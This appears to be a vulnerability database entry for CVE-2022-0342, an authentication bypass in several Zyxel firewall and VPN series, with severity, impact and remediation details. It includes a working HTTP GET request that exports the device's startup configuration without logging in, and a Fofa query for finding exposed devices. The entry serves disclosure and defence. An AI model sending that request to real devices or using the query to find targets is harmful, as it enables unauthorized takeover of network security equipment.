| Title | Zyxel - Authentication Bypass |
|---|---|
| Author | SleepingBag945,Powerexploit |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations. |
| Remediation | Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91427 |
| CVE ID | CVE-2022-0342 |
| CWE ID | CWE-287 |
| Fofa Query | body="/2FA-access.cgi" && body="zyxel zyxel_style1"body="/2fa-access.cgi" && body="zyxel zyxel_style1" |
| Tags | cve2022 cve zyxel auth-bypass router vkev vuln |
An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
GET /cgi-bin/export-cgi?category=config&arg0=startup-config.conf HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0342.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0342.pcap
N/AN/A